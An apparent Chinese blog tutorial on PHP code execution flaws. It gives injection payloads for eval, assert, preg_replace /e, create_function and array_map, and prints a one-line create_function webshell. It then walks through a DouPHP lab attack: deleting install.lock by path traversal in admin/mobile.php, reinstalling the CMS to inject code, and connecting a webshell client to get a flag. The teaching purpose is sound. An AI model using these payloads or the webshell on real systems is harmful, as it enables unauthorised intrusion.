代码执行漏洞(DouPHP)
2021/12/30 1:07:22
本文主要是介绍代码执行漏洞(DouPHP),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录- 代码执行漏洞
- 函数
- DouPHP
代码执行漏洞
用户输入的数据被当作后端代码执行
后端代码:PHP、ASP、ASPX、JSP
一句话木马就是最经典的代码执行
RCE
(remote command/code execute)远程命令或者代码执行
现在由于 RCE 这个词的滥用,范围较为广泛,可以理解为渗透的最终情况可以实现执行命令或者代码,例如:代码执行、文件包含、反序列化、命令执行,甚至是写文件的 getshell
函数
- eval()
可以执行多行代码
eval('system("whoami");phpinfo();')
- assert()
执行单行代码
如果再次利用上述的两行代码进行测试(assert('system("whoami");phpinfo();')
),我们只会看到第一个命令的返回结果
当然,如果禁用了eval()
也可以用assert()
包含:
<?php preg_replace('/a/e', phpinfo(), 'asd');
- preg_replace()
正则替换函数
当存在\e
这个修饰符标签的时候会产生代码执行漏洞
原本用法:preg_replace(正则表达式, 替换为的内容, 要过滤的字符串)
漏洞示例:preg_replace('/a/e', phpinfo(), 'asd');
- create_function()
匿名函数(可以理解为“一句话函数”)
4.0.1 <= php < 7.2.0
create_function(形参, 具体要执行的代码)
<?php $a = create_function('$id', 'echo $id;'); $a(1+1);
示例 1:
<?php $a = create_function('', $_REQUEST[8]);
虽然是匿名函数,但实质上和正常函数的运行方式一样:
<?php function a() { $_REQUEST[8]; }
payload:?8=}phpinfo();//
原来的代码就变成:
<?php function a() { }phpinfo();// }
整理一下:
<?php function a() { } phpinfo(); //}
示例 2:
<?php error_reporting(0); $sort_by = $_GET['sort_by']; $sorter = 'strnatcasecmp'; $databases=array('1234','4321'); $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);'; usort($databases, create_function('$a, $b', $sort_function));
payload:?sort_by='"]);}phpinfo();//
整理:
function niming($a, $b) { return 1 * ' . $sorter . '($a["''"]); } phpinfo(); //}
示例 2:
<?php $c=$_GET['c']; $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));"); $array=array('reall long string here,boy','this','midding lenth','larget'); usort($array,$lambda); print_r($array);
payload:?c=));}phpinfo();//
整理:
function lambda($a, $b) { return (strlen($a)-strlen($b)+strlen()); } phpinfo(); //}
后门:
<?php $func =create_function('',$_POST['cmd']);$func();?>
- array_map()
回调函数
array_map(要调用的函数, 要处理的值[数组])
<?php array_map('assert', $_REQUEST);
payload:?6=system("whoami");&8=phpinfo();
-
双引号命令执行
"${phpinfo()}"
php字符串的高级用法
php >= 5.5 -
unlink()
unlink()
是永久删除,而且相对路径和绝对路径均可
在项目上,CMS 都有一个锁文件(install.lock
)
当删除、更名这个文件,CMS 就要重装(这里的源码全部使用的双引号,可以使用双引号命令执行)
这里必须介绍一下 CMS 安装时做了什么
①:检测环境是否符合条件
②:把数据库信息写入配置文件(覆盖)
③:连接数据库,写入数据(覆盖)
如果我们要对这个点进行测试,思路:
删除锁文件 -> 安装界面 -> 写配置 -> 代码执行
(这个操作需要报备,提醒大家不要轻易执行)
项目过程:
生产环境:真实使用(线上环境)
测试环境:专业测试(测试功能,测试 bug)
开发环境:开发专用(开发使用)
如何删除锁:
unlink()
一般 CMS 的锁文件在固定位置,大家如果不知道的话建议问开发(data、include、conn | config.php)
CMS => 安装程序,连接数据库,账户名、密码,并将其写入配置文件(conn.php
、config.php
)
常见过滤 => 单双引号(魔术引号)
DouPHP
直接访问admin
在admin/mobile.php
下找到可利用的 unlink()
发现可以通过目录穿越删除../../../../data/install.lock
抓包
放包
现在可以重装 CMS 了
写入 执行语句并安装(数据库密码乱写,这样值配置文件,不写入数据)
成功
连上蚁剑可以看到,用户名的地方成功被我们写入
找到flag
这篇关于代码执行漏洞(DouPHP)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享
- 2024-11-01开源 PHP 商城项目 CRMEB 安装和使用教程
- 2024-11-01用php和mysql写无限分类,有哪几种方法-icode9专业技术文章分享
- 2024-10-31php数据分表导出时部分数据无法导出什么原因-icode9专业技术文章分享
- 2024-10-30有经验的 PHP 开发者学习一门新的编程语言,有哪些推荐的有前景的语言-icode9专业技术文章分享
- 2024-10-21php 检测图片是否篡改过-icode9专业技术文章分享
- 2024-10-20fruitcake/php-cors 该怎么使用-icode9专业技术文章分享
- 2024-10-18PHP7.1可以使用哪个版本的swoole-icode9专业技术文章分享